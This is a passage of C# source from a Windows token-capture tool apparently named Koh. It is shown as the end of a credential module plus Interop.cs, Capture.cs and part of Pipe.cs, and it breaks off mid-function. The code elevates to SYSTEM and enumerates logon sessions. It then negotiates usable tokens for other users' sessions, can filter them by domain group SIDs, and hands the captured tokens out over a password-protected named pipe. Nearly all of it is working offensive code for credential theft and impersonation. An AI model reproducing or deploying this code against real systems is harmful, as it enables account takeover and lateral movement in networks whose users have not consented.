90 | {
91 | // get the username for the credential (i.e., for NewCredentials)
92 | return Marshal.PtrToStringAnsi(credName).Trim();
93 | }
94 | }
95 |
96 | public static IntPtr NegotiateToken(LUID luid, ConcurrentDictionary meta, bool DEBUG = false)
97 | {
98 | // grabs a credential handle for a specified LUID and negotiates a usable token
99 | // ref - https://mskb.pkisolutions.com/kb/180548
100 |
101 | SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);
102 | SecBufferDesc ClientToken2 = new SecBufferDesc(MAX_TOKEN_SIZE);
103 | SecBufferDesc ServerToken = new SecBufferDesc(MAX_TOKEN_SIZE);
104 | Interop.SECURITY_HANDLE ClientContext = new Interop.SECURITY_HANDLE();
105 | Interop.SECURITY_HANDLE ServerContext = new Interop.SECURITY_HANDLE();
106 | Interop.SECURITY_INTEGER ClientLifeTime;
107 | uint ContextAttributes = 0;
108 | IntPtr token = IntPtr.Zero;
109 |
110 | try
111 | {
112 | // Step 1 => acquire a credential handle to the specified logon session ID/LUID
113 | Interop.SECURITY_HANDLE cred = GetCredentialHandle(luid, meta);
114 |
115 | if ((cred.HighPart == IntPtr.Zero) && (cred.LowPart == IntPtr.Zero))
116 | {
117 | return IntPtr.Zero;
118 | }
119 |
120 | if (DEBUG) Console.WriteLine($"DEBUG Successfully got a credential handle to LUID: {luid}");
121 |
122 |
123 | // Step 2 -> call InitializeSecurityContext() with the cred handle to start the "client" side of negotiation
124 | uint clientRes = Interop.InitializeSecurityContext(
125 | ref cred,
126 | IntPtr.Zero,
127 | "",
128 | ISC_REQ_CONNECTION,
129 | 0,
130 | SECURITY_NATIVE_DREP,
131 | IntPtr.Zero,
132 | 0,
133 | out ClientContext,
134 | out ClientToken,
135 | out ContextAttributes,
136 | out ClientLifeTime);
137 | if (clientRes != SEC_I_CONTINUE_NEEDED)
138 | {
139 | Console.WriteLine($" [X] First InitializeSecurityContext() failed: {clientRes}");
140 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred);
141 | throw new Exception("InitializeSecurityContext failure");
142 | }
143 |
144 |
145 | // Step 2 -> call AcceptSecurityContext() with the client token, using the same credential
146 | uint serverRes = Interop.AcceptSecurityContext(
147 | ref cred,
148 | IntPtr.Zero,
149 | ref ClientToken,
150 | ISC_REQ_CONNECTION,
151 | SECURITY_NATIVE_DREP,
152 | out ServerContext,
153 | out ServerToken,
154 | out ContextAttributes,
155 | out ClientLifeTime
156 | );
157 | if (serverRes != SEC_I_CONTINUE_NEEDED)
158 | {
159 | Console.WriteLine($" [X] First AcceptSecurityContext() failed: {serverRes}");
160 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred);
161 | throw new Exception("First AcceptSecurityContext failure");
162 | }
163 |
164 |
165 | // Step 3 -> call InitializeSecurityContext() with the server token
166 | clientRes = Interop.InitializeSecurityContext(
167 | ref cred,
168 | ref ClientContext,
169 | "",
170 | ISC_REQ_CONNECTION,
171 | 0,
172 | SECURITY_NATIVE_DREP,
173 | ref ServerToken,
174 | 0,
175 | out ClientContext,
176 | out ClientToken2,
177 | out ContextAttributes,
178 | out ClientLifeTime);
179 | if ((clientRes != SEC_I_CONTINUE_NEEDED) && (clientRes != SEC_E_OK))
180 | {
181 | Console.WriteLine($" [X] Second InitializeSecurityContext() failed: {clientRes}");
182 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred);
183 | throw new Exception("Second InitializeSecurityContext failure");
184 | }
185 |
186 |
187 | // Step 4 -> call AcceptSecurityContext() with the client token
188 | serverRes = Interop.AcceptSecurityContext(
189 | ref cred,
190 | ref ServerContext,
191 | ref ClientToken2,
192 | ISC_REQ_CONNECTION,
193 | SECURITY_NATIVE_DREP,
194 | out ServerContext,
195 | out ServerToken,
196 | out ContextAttributes,
197 | out ClientLifeTime
198 | );
199 | if (serverRes != SEC_E_OK)
200 | {
201 | Console.WriteLine($" [X] Second AcceptSecurityContext() failed: {serverRes}");
202 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred);
203 | throw new Exception("Second AcceptSecurityContext failure");
204 | }
205 |
206 |
207 | // Step 4 -> turn the server context into a usable token
208 | uint status = Interop.QuerySecurityContextToken(ServerContext, out token);
209 | if (status != 0)
210 | {
211 | Console.WriteLine(" [X] QuerySecurityContextToken() failed: {0}", status);
212 | bool delSuccess1 = Interop.FreeCredentialsHandle(ref cred);
213 | throw new Exception("QuerySecurityContextToken failure");
214 | }
215 |
216 | if (DEBUG) Console.WriteLine($"DEBUG Successfully negotiated credential to token: {token}");
217 |
218 | bool delSuccess2 = Interop.FreeCredentialsHandle(ref cred);
219 | }
220 | catch(Exception e)
221 | {
222 | if (e.Message != "fail")
223 | {
224 | Console.WriteLine($" [X] Exception: {e}");
225 | }
226 | }
227 | finally
228 | {
229 | bool del2Success = Interop.DeleteSecurityContext(ref ClientContext);
230 | bool del3Success = Interop.DeleteSecurityContext(ref ServerContext);
231 |
232 | ClientToken.Dispose();
233 | ClientToken2.Dispose();
234 | ServerToken.Dispose();
235 | }
236 |
237 | return token;
238 | }
239 | }
240 | }
241 |
--------------------------------------------------------------------------------
/Koh/Interop.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Text;
4 |
5 | namespace Koh
6 | {
7 | public class Interop
8 | {
9 | #region enums
10 |
11 | public enum SECURITY_LOGON_TYPE : uint
12 | {
13 | Interactive = 2, // logging on interactively.
14 | Network, // logging using a network.
15 | Batch, // logon for a batch process.
16 | Service, // logon for a service account.
17 | Proxy, // Not supported.
18 | Unlock, // workstation unlock
19 | NetworkCleartext, // network logon with cleartext credentials
20 | NewCredentials, // caller can clone its current token and specify new credentials for outbound connections
21 | RemoteInteractive, // terminal server session that is both remote and interactive
22 | CachedInteractive, // attempt to use the cached credentials without going out across the network
23 | CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes
24 | CachedUnlock // attempt to unlock a workstation
25 | }
26 |
27 | public enum TOKEN_INFORMATION_CLASS
28 | {
29 | TokenUser = 1,
30 | TokenGroups,
31 | TokenPrivileges,
32 | TokenOwner,
33 | TokenPrimaryGroup,
34 | TokenDefaultDacl,
35 | TokenSource,
36 | TokenType,
37 | TokenImpersonationLevel,
38 | TokenStatistics,
39 | TokenRestrictedSids,
40 | TokenSessionId,
41 | TokenGroupsAndPrivileges,
42 | TokenSessionReference,
43 | TokenSandBoxInert,
44 | TokenAuditPolicy,
45 | TokenOrigin
46 | }
47 |
48 | [Flags]
49 | public enum LuidAttributes : uint
50 | {
51 | DISABLED = 0x00000000,
52 | SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,
53 | SE_PRIVILEGE_ENABLED = 0x00000002,
54 | SE_PRIVILEGE_REMOVED = 0x00000004,
55 | SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
56 | }
57 |
58 | #endregion
59 |
60 |
61 | #region structs
62 |
63 | public struct TOKEN_PRIVILEGES
64 | {
65 | public uint PrivilegeCount;
66 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 35)]
67 | public LUID_AND_ATTRIBUTES[] Privileges;
68 |
69 | public TOKEN_PRIVILEGES(uint PrivilegeCount, LUID_AND_ATTRIBUTES[] Privileges)
70 | {
71 | this.PrivilegeCount = PrivilegeCount;
72 | this.Privileges = Privileges;
73 | }
74 | }
75 |
76 | [StructLayout(LayoutKind.Sequential)]
77 | public struct SID_AND_ATTRIBUTES
78 | {
79 | public IntPtr Sid;
80 | public UInt32 Attributes;
81 | }
82 |
83 | [StructLayout(LayoutKind.Sequential)]
84 | public struct TOKEN_GROUPS
85 | {
86 | public UInt32 GroupCount;
87 | [MarshalAs(UnmanagedType.ByValArray)]
88 | public SID_AND_ATTRIBUTES[] Groups;
89 | }
90 |
91 | [StructLayout(LayoutKind.Sequential)]
92 | public struct TOKEN_ORIGIN
93 | {
94 | public LUID LoginID;
95 | }
96 |
97 | [StructLayout(LayoutKind.Sequential)]
98 | public struct LUID_AND_ATTRIBUTES
99 | {
100 | public LUID Luid;
101 | public UInt32 Attributes;
102 |
103 | public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001;
104 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002;
105 | public const UInt32 SE_PRIVILEGE_REMOVED = 0x00000004;
106 | public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000;
107 | }
108 |
109 | [StructLayout(LayoutKind.Sequential)]
110 | public struct LSA_STRING
111 | {
112 | public ushort Length;
113 | public ushort MaximumLength;
114 | public IntPtr Buffer;
115 | }
116 |
117 | [StructLayout(LayoutKind.Sequential)]
118 | public struct SECURITY_LOGON_SESSION_DATA
119 | {
120 | public uint Size;
121 | public LUID LoginID;
122 | public LSA_STRING Username;
123 | public LSA_STRING LoginDomain;
124 | public LSA_STRING AuthenticationPackage;
125 | public uint LogonType;
126 | public uint Session;
127 | public IntPtr PSiD;
128 | public ulong LoginTime;
129 | public LSA_STRING LogonServer;
130 | public LSA_STRING DnsDomainName;
131 | public LSA_STRING Upn;
132 | }
133 |
134 | public struct SECURITY_INTEGER
135 | {
136 | public uint LowPart;
137 | public int HighPart;
138 | public static SECURITY_INTEGER Empty
139 | {
140 | get
141 | {
142 | return new SECURITY_INTEGER
143 | {
144 | LowPart = 0,
145 | HighPart = 0
146 | };
147 | }
148 | }
149 | };
150 |
151 | [StructLayout(LayoutKind.Sequential)]
152 | public struct FILETIME
153 | {
154 | public uint DateTimeLow;
155 | public uint DateTimeHigh;
156 | }
157 |
158 | public struct SECURITY_HANDLE
159 | {
160 | public IntPtr LowPart;
161 | public IntPtr HighPart;
162 |
163 | public static SECURITY_HANDLE Empty
164 | {
165 | get
166 | {
167 | return new SECURITY_HANDLE
168 | {
169 | LowPart = IntPtr.Zero,
170 | HighPart = IntPtr.Zero
171 | };
172 | }
173 | }
174 | };
175 |
176 | #endregion
177 |
178 |
179 | #region APIs
180 |
181 | [DllImport("kernel32", EntryPoint = "GetComputerNameA", CharSet = CharSet.Ansi, SetLastError = true)]
182 | public static extern bool GetComputerName(StringBuilder lpBuffer, ref int nSize);
183 |
184 | [DllImport("kernel32.dll", SetLastError = true)]
185 | public static extern IntPtr CreateFile(
186 | string lpFileName,
187 | uint dwDesiredAccess,
188 | uint dwShareMode,
189 | uint lpSecurityAttributes,
190 | uint dwCreationDisposition,
191 | uint dwFlagsAndAttributes,
192 | uint hTemplateFile);
193 |
194 | [DllImport("kernel32.dll")]
195 | [return: MarshalAs(UnmanagedType.Bool)]
196 | public static extern bool WriteFile(
197 | IntPtr hFile,
198 | byte[] lpBuffer,
199 | uint nNumberOfBytesToWrite,
200 | out uint lpNumberOfBytesWritten,
201 | IntPtr lpOverlapped);
202 |
203 | [DllImport("secur32.dll", CharSet = CharSet.Auto)]
204 | public static extern uint AcquireCredentialsHandle(
205 | string pszPrincipal,
206 | string pszPackage,
207 | int fCredentialUse,
208 | IntPtr PAuthenticationID,
209 | IntPtr pAuthData,
210 | IntPtr pGetKeyFn,
211 | IntPtr pvGetKeyArgument,
212 | ref SECURITY_HANDLE phCredential,
213 | ref FILETIME ptsExpiry
214 | );
215 |
216 | [DllImport("secur32.dll", SetLastError = true)]
217 | public static extern uint InitializeSecurityContext(
218 | ref SECURITY_HANDLE phCredential,
219 | IntPtr phContext,
220 | string pszTargetName,
221 | int fContextReq,
222 | int Reserved1,
223 | int TargetDataRep,
224 | IntPtr pInput,
225 | int Reserved2,
226 | out SECURITY_HANDLE phNewContext,
227 | out SecBufferDesc pOutput,
228 | out uint pfContextAttr,
229 | out SECURITY_INTEGER ptsExpiry
230 | );
231 |
232 | [DllImport("secur32.dll", SetLastError = true)]
233 | public static extern uint InitializeSecurityContext(
234 | ref SECURITY_HANDLE phCredential,
235 | ref SECURITY_HANDLE phContext,
236 | string pszTargetName,
237 | int fContextReq,
238 | int Reserved1,
239 | int TargetDataRep,
240 | ref SecBufferDesc SecBufferDesc,
241 | int Reserved2,
242 | out SECURITY_HANDLE phNewContext,
243 | out SecBufferDesc pOutput,
244 | out uint pfContextAttr,
245 | out SECURITY_INTEGER ptsExpiry
246 | );
247 |
248 | [DllImport("secur32.dll", SetLastError = true)]
249 | public static extern uint AcceptSecurityContext(
250 | ref SECURITY_HANDLE phCredential,
251 | IntPtr phContext,
252 | ref SecBufferDesc pInput,
253 | uint fContextReq,
254 | uint TargetDataRep,
255 | out SECURITY_HANDLE phNewContext,
256 | out SecBufferDesc pOutput,
257 | out uint pfContextAttr,
258 | out SECURITY_INTEGER ptsTimeStamp
259 | );
260 |
261 | [DllImport("secur32.dll", SetLastError = true)]
262 | public static extern uint AcceptSecurityContext(
263 | ref SECURITY_HANDLE phCredential,
264 | ref SECURITY_HANDLE phContext,
265 | ref SecBufferDesc pInput,
266 | uint fContextReq,
267 | uint TargetDataRep,
268 | out SECURITY_HANDLE phNewContext,
269 | out SecBufferDesc pOutput,
270 | out uint pfContextAttr,
271 | out SECURITY_INTEGER ptsTimeStamp
272 | );
273 |
274 | [DllImport("Secur32.dll", SetLastError = true)]
275 | public static extern uint QuerySecurityContextToken(
276 | SECURITY_HANDLE phContext,
277 | out IntPtr phToken
278 | );
279 |
280 | [DllImport("Secur32.dll", SetLastError = true)]
281 | public static extern uint QueryCredentialsAttributes(
282 | ref SECURITY_HANDLE phCredential,
283 | ulong ulAttribute,
284 | out IntPtr pBuffer
285 | );
286 |
287 | [DllImport("secur32.dll", SetLastError = false)]
288 | public static extern uint LsaFreeReturnBuffer(
289 | IntPtr buffer
290 | );
291 |
292 | [DllImport("Secur32.dll", SetLastError = false)]
293 | public static extern uint LsaEnumerateLogonSessions(
294 | out UInt64 LogonSessionCount,
295 | out IntPtr LogonSessionList
296 | );
297 |
298 | [DllImport("Secur32.dll", SetLastError = false)]
299 | public static extern uint LsaGetLogonSessionData(
300 | IntPtr luid,
301 | out IntPtr ppLogonSessionData
302 | );
303 |
304 | [DllImport("advapi32.dll", SetLastError = true)]
305 | public static extern bool GetTokenInformation(
306 | IntPtr TokenHandle,
307 | TOKEN_INFORMATION_CLASS TokenInformationClass,
308 | IntPtr TokenInformation,
309 | int TokenInformationLength,
310 | out int ReturnLength
311 | );
312 |
313 | [DllImport("advapi32.dll", SetLastError = true)]
314 | [return: MarshalAs(UnmanagedType.Bool)]
315 | public static extern bool OpenProcessToken(
316 | IntPtr ProcessHandle,
317 | UInt32 DesiredAccess,
318 | out IntPtr TokenHandle
319 | );
320 |
321 | [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
322 | public static extern bool ConvertSidToStringSid(
323 | IntPtr securityIdentifier,
324 | out string securityIdentifierName
325 | );
326 |
327 | [DllImport("advapi32.dll")]
328 | public static extern bool DuplicateToken(
329 | IntPtr ExistingTokenHandle,
330 | int SECURITY_IMPERSONATION_LEVEL,
331 | ref IntPtr DuplicateTokenHandle
332 | );
333 |
334 | [DllImport("advapi32.dll", SetLastError = true)]
335 | public static extern bool ImpersonateLoggedOnUser(
336 | IntPtr hToken
337 | );
338 |
339 | [DllImport("advapi32.dll", SetLastError = true)]
340 | public static extern bool RevertToSelf();
341 |
342 | [DllImport("kernel32.dll", SetLastError = true)]
343 | [return: MarshalAs(UnmanagedType.Bool)]
344 | public static extern bool CloseHandle(
345 | IntPtr hObject
346 | );
347 |
348 | [DllImport("secur32.dll", SetLastError = true)]
349 | public static extern bool FreeCredentialsHandle(
350 | ref SECURITY_HANDLE phCredential
351 | );
352 |
353 | [DllImport("secur32.dll", SetLastError = true)]
354 | public static extern bool DeleteSecurityContext(
355 | ref SECURITY_HANDLE phContext
356 | );
357 |
358 | #endregion
359 | }
360 | }
361 |
--------------------------------------------------------------------------------
/Koh/Capture.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Concurrent;
3 | using System.Collections.Generic;
4 | using System.Threading;
5 |
6 | namespace Koh
7 | {
8 | public class Capture
9 | {
10 | // represents a captured logon session
11 | public struct CapturedSession
12 | {
13 | public string UserName;
14 | public ulong Luid;
15 | public string SID;
16 | public string LogonType;
17 | public string AuthPackage;
18 | public string UserSID;
19 | public string CredUser;
20 | public string OriginLUID;
21 | public IntPtr TokenHandle;
22 | public DateTime CaptureTime;
23 | public CapturedSession(string userName, ulong luid, string sid, string logonType, string authPackage, string userSid, string credUser, string originLUID, IntPtr tokenHandle)
24 | {
25 | UserName = userName;
26 | Luid = luid;
27 | SID = sid;
28 | LogonType = logonType;
29 | AuthPackage = authPackage;
30 | UserSID = userSid;
31 | CredUser = credUser;
32 | OriginLUID = originLUID;
33 | TokenHandle = tokenHandle;
34 | CaptureTime = DateTime.Now;
35 | }
36 | }
37 |
38 | public static void Sessions(ConcurrentDictionary meta, ConcurrentDictionary capturedSessions, ConcurrentDictionary excludeSids, ConcurrentDictionary filterSids, bool loop = true, bool captureSessions = true, bool DEBUG = false)
39 | {
40 | // Main worker function that handles listing/monitoring/capturing new logon sessions
41 |
42 | Console.WriteLine();
43 |
44 | if (!Helpers.IsHighIntegrity())
45 | {
46 | Console.WriteLine(" [X] Not high integrity!");
47 | return;
48 | }
49 |
50 | if (Helpers.IsSystem())
51 | {
52 | Console.WriteLine(" [*] Already SYSTEM, not elevating\n");
53 | }
54 | else
55 | {
56 | if (!Helpers.GetSystem())
57 | {
58 | Console.WriteLine(" [X] Error elevating to SYSTEM!");
59 | return;
60 | }
61 | Console.WriteLine(" [*] Elevated to SYSTEM\n");
62 | }
63 |
64 | if ((filterSids != null) && (filterSids.Count > 0))
65 | {
66 | Console.WriteLine(" [*] Targeting group SIDs:");
67 | foreach (var sidString in filterSids.Keys) {
68 | Console.WriteLine($" {sidString}");
69 | }
70 | }
71 |
72 | do
73 | {
74 | // enumerate current logon sessions
75 | Dictionary logonSessions = Find.LogonSessions(DEBUG);
76 | Dictionary logonSessionsToProcess = new Dictionary();
77 | Dictionary negotiateSessions = new Dictionary();
78 |
79 | // find all "Negotiate" logon session packages so we can prefer to use these
80 | foreach (KeyValuePair entry in logonSessions)
81 | {
82 | if(entry.Value.AuthPackage == "Negotiate")
83 | {
84 | string negotiateKey = $"{entry.Value.SID}{entry.Value.LogonType}";
85 | if (!negotiateSessions.ContainsKey(negotiateKey))
86 | {
87 | negotiateSessions.Add(negotiateKey, true);
88 | }
89 | }
90 | }
91 |
92 | foreach (KeyValuePair entry in logonSessions)
93 | {
94 | if (captureSessions) {
95 | // if we're capturing, ensure we only capture the negotiate session for a SID+LogonType if a negotiate session is present
96 | if (entry.Value.AuthPackage == "Negotiate")
97 | {
98 | if (!logonSessionsToProcess.ContainsKey(entry.Key))
99 | {
100 | logonSessionsToProcess.Add(entry.Key, entry.Value);
101 | }
102 | else
103 | {
104 | logonSessionsToProcess[entry.Key] = entry.Value;
105 | }
106 | }
107 | else
108 | {
109 | // only add a new session if an equivalent Negotiate logon session is not present
110 | if (!negotiateSessions.ContainsKey($"{entry.Value.SID}{entry.Value.LogonType}")) {
111 | logonSessionsToProcess.Add(entry.Key, entry.Value);
112 | }
113 | }
114 | }
115 | else
116 | {
117 | logonSessionsToProcess.Add(entry.Key, entry.Value);
118 | }
119 | }
120 |
121 | foreach (KeyValuePair entry in logonSessionsToProcess)
122 | {
123 | string identifier = entry.Key;
124 | ulong luid = 0;
125 | Find.FoundSession session = entry.Value;
126 |
127 | if ((capturedSessions.Count >= Program.maxTokens))
128 | {
129 | if (!Program.maxWarned)
130 | {
131 | Console.WriteLine($"\n [*] Hit token capture limit of {Program.maxTokens}, not capturing additional tokens\n");
132 | Program.maxWarned = true;
133 | }
134 | else
135 | {
136 | continue;
137 | }
138 | }
139 | else
140 | {
141 | Program.maxWarned = false;
142 | }
143 |
144 | if ( ((!captureSessions && !loop) || !capturedSessions.ContainsKey(identifier)) && !excludeSids.ContainsKey(identifier))
145 | {
146 | ulong.TryParse(session.Luid, out luid);
147 |
148 | if (luid != 0)
149 | {
150 | try
151 | {
152 | LUID userLuid = new LUID(luid);
153 | LUID tokenOrigin = new LUID();
154 |
155 | // negotiate a new token for this particular LUID
156 | IntPtr hToken = Creds.NegotiateToken(userLuid, meta, DEBUG);
157 | if (hToken != IntPtr.Zero)
158 | {
159 | tokenOrigin = Helpers.GetTokenOrigin(hToken);
160 | }
161 |
162 | if (hToken == IntPtr.Zero)
163 | {
164 | Console.WriteLine($"\n [*] New Logon Session : {DateTime.Now}");
165 | Console.WriteLine($" UserName : {session.UserName}");
166 | Console.WriteLine($" LUID : {session.Luid}");
167 | Console.WriteLine($" LogonType : {session.LogonType}");
168 | Console.WriteLine($" AuthPackage : {session.AuthPackage}");
169 | Console.WriteLine($" User SID : {session.SID}");
170 | Console.WriteLine($" Credential UserName : {session.CredentialUserName}");
171 | Console.WriteLine($" Origin LUID : {(ulong)tokenOrigin} ({tokenOrigin})");
172 | Console.WriteLine($"\n [X] Error negotiating a token for LUID {session.Luid} (hToken: {hToken})\n");
173 | }
174 | else
175 | {
176 | // if we're filtering for specific group SIDs
177 | if ((filterSids != null) && (filterSids.Count > 0))
178 | {
179 | bool targetCaptured = false;
180 | foreach (var sidString in filterSids.Keys)
181 | {
182 | if (Helpers.CheckTokenForGroup(hToken, $"{sidString}"))
183 | {
184 | targetCaptured = true;
185 | Console.WriteLine($"\n [*] New Logon Session : {DateTime.Now}");
186 | Console.WriteLine($" UserName : {session.UserName}");
187 | Console.WriteLine($" LUID : {session.Luid}");
188 | Console.WriteLine($" LogonType : {session.LogonType}");
189 | Console.WriteLine($" AuthPackage : {session.AuthPackage}");
190 | Console.WriteLine($" User SID : {session.SID}");
191 | Console.WriteLine($" Credential UserName : {session.CredentialUserName}");
192 | Console.WriteLine($" Origin LUID : {(ulong)tokenOrigin} ({tokenOrigin})");
193 |
194 | if (captureSessions)
195 | {
196 | if (capturedSessions.Count < Program.maxTokens)
197 | {
198 | // if we're doing "capture"
199 | Console.WriteLine($"\n [*] Successfully negotiated a token for LUID {session.Luid} (hToken: {hToken})\n");
200 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", hToken);
201 | capturedSessions.TryAdd(identifier, captureSession);
202 | }
203 | else
204 | {
205 | // hit our token limit
206 | Console.WriteLine($"\n [*] Hit token capture limit of {Program.maxTokens}, not capturing additional tokens\n");
207 | Interop.CloseHandle(hToken);
208 | }
209 | }
210 | else
211 | {
212 | // if we're doing "list" or monitor" close the token off to free it up
213 | Interop.CloseHandle(hToken);
214 |
215 | // if we're doing "monitor" add the observed session to the list
216 | if (loop)
217 | {
218 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", IntPtr.Zero);
219 | capturedSessions.TryAdd(identifier, captureSession);
220 | }
221 | }
222 | }
223 | }
224 | if (!targetCaptured)
225 | {
226 | // if the token does not match any filtering, add it to the exclude list
227 | Interop.CloseHandle(hToken);
228 | excludeSids.TryAdd(identifier, true);
229 | }
230 | }
231 | else
232 | {
233 | Console.WriteLine($"\n [*] New Logon Session : {DateTime.Now}");
234 | Console.WriteLine($" UserName : {session.UserName}");
235 | Console.WriteLine($" LUID : {session.Luid}");
236 | Console.WriteLine($" LogonType : {session.LogonType}");
237 | Console.WriteLine($" AuthPackage : {session.AuthPackage}");
238 | Console.WriteLine($" User SID : {session.SID}");
239 | Console.WriteLine($" Credential UserName : {session.CredentialUserName}");
240 | Console.WriteLine($" Origin LUID : {(ulong)tokenOrigin} ({tokenOrigin})");
241 |
242 | if (captureSessions)
243 | {
244 | if (capturedSessions.Count < Program.maxTokens)
245 | {
246 | // if we're doing "capture"
247 | Console.WriteLine($"\n [*] Successfully negotiated a token for LUID {session.Luid} (hToken: {hToken})\n");
248 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", hToken);
249 | capturedSessions.TryAdd(identifier, captureSession);
250 | }
251 | else
252 | {
253 | // hit our token limit
254 | Console.WriteLine($"\n [*] Hit token capture limit of {Program.maxTokens}, not capturing additional tokens\n");
255 | Interop.CloseHandle(hToken);
256 | }
257 | }
258 | else
259 | {
260 | // if we're doing "list" or monitor"
261 | Interop.CloseHandle(hToken);
262 |
263 | // if we're doing "monitor"
264 | if (loop)
265 | {
266 | CapturedSession captureSession = new CapturedSession(session.UserName, luid, session.SID, $"{session.LogonType}", session.AuthPackage, session.SID, session.CredentialUserName, $"{(ulong)tokenOrigin}", IntPtr.Zero);
267 | capturedSessions.TryAdd(identifier, captureSession);
268 | }
269 | }
270 | }
271 | }
272 | }
273 | catch(Exception e)
274 | {
275 | Console.WriteLine($" [!] Exception: ${e}");
276 | }
277 | }
278 | }
279 | }
280 |
281 | if (captureSessions)
282 | {
283 | // if we're capturing sessions, check every 500ms
284 | Thread.Sleep(500);
285 | }
286 |
287 | if((capturedSessions.Count == 0) && (meta["AcquireCredentialsHandleError"] > 0))
288 | {
289 | // if we haven't captured any sessions and we have more than one error for AcquireCredentialsHandle, signal for exit
290 | Console.WriteLine("\n[X] No sessions captured and error with AcquireCredentialsHandle, exiting...");
291 | meta["SignalExit"] = 1;
292 | }
293 | }
294 | while (loop && (meta["SignalExit"] != 1));
295 |
296 | Interop.RevertToSelf();
297 | }
298 | }
299 | }
300 |
--------------------------------------------------------------------------------
/Koh/Pipe.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Concurrent;
3 | using System.IO.Pipes;
4 | using System.Threading;
5 | using System.Linq;
6 | using System.Collections.Generic;
7 | using System.Runtime.InteropServices;
8 | using System.ComponentModel;
9 |
10 | // The main namedpipe logic that handles commands for the Koh server
11 |
12 | namespace Koh
13 | {
14 | public class PipeServer
15 | {
16 | Thread runningThread;
17 |
18 | private string _pipeName;
19 | private string _password;
20 | private string _mode;
21 | private bool _debug;
22 | private ConcurrentDictionary _meta;
23 | private ConcurrentDictionary _capturedSessions;
24 | private ConcurrentDictionary _excludeSids;
25 | private ConcurrentDictionary _filterSids;
26 |
27 | public PipeServer(string pipeName, string password, ConcurrentDictionary meta, ConcurrentDictionary capturedSessions, ConcurrentDictionary excludeSids, ConcurrentDictionary filterSids, string mode, bool debug = false)
28 | {
29 | _pipeName = pipeName;
30 | _password = password;
31 | _mode = mode;
32 | _meta = meta;
33 | _capturedSessions = capturedSessions;
34 | _excludeSids = excludeSids;
35 | _filterSids = filterSids;
36 | _debug = debug;
37 | }
38 |
39 | void ServerLoop()
40 | {
41 | // check if we've been signaled to exit
42 | while (_meta["SignalExit"] != 1)
43 | {
44 | ProcessNextClient();
45 | }
46 | }
47 |
48 | public void Run()
49 | {
50 | Console.WriteLine($"\n [*] Starting server with named pipe: {_pipeName}");
51 |
52 | runningThread = new Thread(ServerLoop);
53 | runningThread.Start();
54 | }
55 |
56 | public void Stop()
57 | {
58 | _meta["SignalExit"] = 1;
59 | }
60 |
61 | public void ProcessClientThread(object o)
62 | {
63 | NamedPipeServerStream pipeStream = (NamedPipeServerStream)o;
64 | string responseMsg = "Incorrect usage";
65 | byte[] inBuffer = new byte[4096];
66 |
67 | if (pipeStream.CanRead)
68 | {
69 | pipeStream.Read(inBuffer, 0, 4096);
70 | }
71 |
72 | var input = System.Text.Encoding.ASCII.GetString(inBuffer).Trim('\0').Trim();
73 | string[] parts = input.Split(' ');
74 | if (_debug)
75 | {
76 | Console.WriteLine($"DEBUG ({DateTime.Now}) Command: {input}");
77 | }
78 |
79 | if (parts.Length > 1)
80 | {
81 | if (parts[0] == _password)
82 | {
83 | string command = parts[1].ToLower();
84 | if (command == "list")
85 | {
86 | // lists currently captured sessions/tokens
87 | responseMsg = "";
88 | foreach (var capturedSession in _capturedSessions)
89 | {
90 | Capture.CapturedSession sess = capturedSession.Value;
91 | if ((sess.TokenHandle != IntPtr.Zero) || (_mode == "monitor"))
92 | {
93 | if (pipeStream.CanWrite)
94 | {
95 | responseMsg += $"\nUsername : {sess.UserName} ({sess.SID})\nLUID : {sess.Luid}\nCaptureTime : {sess.CaptureTime}\nLogonType : {sess.LogonType}\nAuthPackage : {sess.AuthPackage}\nCredUserName : {sess.CredUser}\nOrigin LUID : {sess.OriginLUID}\n";
96 | }
97 | }
98 | }
99 | if(responseMsg == "")
100 | {
101 | responseMsg = "[!] No current sessions captured";
102 | }
103 | }
104 | else if (command == "filter")
105 | {
106 | // lists, adds, or resets the SIDs tofilter
107 | responseMsg = "";
108 |
109 | if (parts.Length == 3 && (parts[2] == "list"))
110 | {
111 | if (_filterSids.Keys.Count == 0)
112 | {
113 | responseMsg = "[!] No group SIDs current set for capture filtering.";
114 | }
115 | else
116 | {
117 | responseMsg = "[*] Current group SIDs set for capture filtering:\n";
118 | foreach (var sidString in _filterSids.Keys)
119 | {
120 | responseMsg += $" {sidString}\n";
121 | }
122 | }
123 | }
124 | else if (parts.Length == 4 && (parts[2] == "add") && (Helpers.IsDomainSid(parts[3])))
125 | {
126 | if(_filterSids.TryAdd(parts[3], true))
127 | {
128 | responseMsg = $"[*] Added {parts[3]} group SID to capture filtering.";
129 | }
130 | else
131 | {
132 | responseMsg = $"[!] Error adding {parts[3]} group SID to capture filtering!";
133 | }
134 | }
135 | else if (parts.Length == 4 && (parts[2] == "remove") && (Helpers.IsDomainSid(parts[3])))
136 | {
137 | bool val = false;
138 | if (_filterSids.TryRemove(parts[3], out val))
139 | {
140 | responseMsg = $"[*] Removed {parts[3]} group SID from capture filtering.";
141 | }
142 | else
143 | {
144 | responseMsg = $"[!] Error removing {parts[3]} group SID to capture filtering!";
145 | }
146 | }
147 | else if (parts.Length == 3 && (parts[2] == "reset"))
148 | {
